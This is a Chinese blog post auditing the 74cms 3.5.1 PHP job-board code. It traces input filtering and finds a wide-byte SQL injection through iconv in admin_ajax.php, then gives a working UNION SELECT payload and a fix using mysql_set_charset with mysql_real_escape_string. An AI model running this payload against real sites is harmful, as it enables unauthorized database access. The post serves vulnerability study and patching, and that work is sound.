74cms3.5.1 代码审计

先看一下目录

 index文件是一个程序的入口文件,所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件,

其中核心的文件又有哪些。

而不同目录的index文件也有不同的实现方式,建议最好先将几个核心目录的index文件都简单读一遍。

从入口文件index.php开始看吧,涉及到Smarty缓存机制

<?php
if(!file_exists(dirname(__FILE__).'/data/install.lock')) header("Location:install/index.php");//检查是否有安装锁
define('IN_QISHI', true);//定义常量
$alias="QS_index";
require_once(dirname(__FILE__).'/include/common.inc.php');//dirname(__FILE__)取得当前文件所在的绝对目录
if($mypage['caching']>0){
        $smarty->cache =true;
        $smarty->cache_lifetime=$mypage['caching'];
    }else{
        $smarty->cache = false;//开启缓存
    }
$cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
if(!$smarty->is_cached($mypage['tpl'],$cached_id))//如果当前页面没有被缓存
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');//调用数据库
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);//加载模板页
$smarty->display($mypage['tpl'],$cached_id);//调用模板生成缓存页面
}
else
{
$smarty->display($mypage['tpl'],$cached_id);//否则就直接生成缓存页面
}
unset($smarty);
?>

对页面这些可控变量做了intval强转过滤。调用了两个配置文件,跟进。

if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE   = addslashes_deep($_COOKIE);
$_REQUEST  = addslashes_deep($_REQUEST);
date_default_timezone_set("PRC");
$timestamp = time();
$online_ip=getip();
$ip_address=convertip($online_ip);//转化ip地址到真实地址

对 $_GET,$_POST, $_REQUEST,$_REQUEST请求变量都加了过滤,跟进$online_ip

跟进getip函数,

function getip() {
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $onlineip = $_SERVER['HTTP_CLIENT_IP'];
    } else {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }
    $onlineip = preg_match('/[\d\.]{7,15}/', addslashes($onlineip), $onlineipmatches);//匹配ip格式\d表示十进制数字,{7,15}表示总字符为7到15个
    return $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown';
}

这个和之前所审计的cms不同,加了过滤和ip格式的正则匹配。并且又再次对$online_ip 进行了过滤

    if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))
    {
            $smarty->assign('info',$_CFG['filter_ip_tips']);
            $smarty->display('warning.htm');
            exit();
    }

跟进data/config文件

 mysql类中的构造函数中定义了数据库编码为gbk,可以考虑宽字节注入,寻找注入点。

进入到后台登录页面

 

 跟踪check_admin方法

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
     if($row['num'] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

跟踪getone方法,没有其他一些防止宽字节注入的过滤了

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

到后台登录页面upload/admin/admin_login.php尝试宽字节注入

 注意构造padyload时候一定要抓包修改发送,否则的话百分号会被url转码,这么操作下来最后也还是没成功。

开启mysql sql语句日志后

查看

 发现有这么个语句

SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary

character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了

参考p神写得文章,太牛了 浅析白盒审计中的字符编码及SQL注入

这是个假的漏洞,真漏洞发生在iconv()函数在转换时的编码问题会导致宽字节注入

参考这篇文章的介绍的宽字节注入发生的各种情况https://www.cnblogs.com/zzjdbk/p/12984498.html

师傅们都太强了。

搜索iconv函数,发现了这么一个地方  出现问题的代码在admin/admin_ajax.php 79行处

elseif($act == 'get_jobs')
{
    $type=trim($_GET['type']);
    $key=trim($_GET['key']);
    if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
    {
    $key=iconv("utf-8",QISHI_DBCHARSET,$key);
    }    
    if ($type=="get_id")
    {
        $id=intval($key);
        $sql = "select * from ".table('jobs')." where id='{$id}'  LIMIT 1";
    }
    elseif ($type=="get_jobname")
    {
        $sql = "select * from ".table('jobs')." where jobs_name like '%{$key}%'  LIMIT 30";
    }
    elseif ($type=="get_comname")
    {
        $sql = "select * from ".table('jobs')." where companyname like '%{$key}%'  LIMIT 30";
    }
    elseif ($type=="get_uid")
    {
        $uid=intval($key);
        $sql = "select * from ".table('jobs')." where uid='{$uid}'  LIMIT 30";        
    }
    else
    {
    exit();
    }

为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。

提交:http://127.0.0.1/foo.php?bar=%e5%5c%27

变换过程:(e55c转为UTF-8为e98ca6)

e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27

可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。最终产生单引号逃逸,完成sql语句闭合。

构造payload

?act=get_jobs&type=get_jobname&key=錦‘ union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

测试:

 输出:

 效果很明显

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值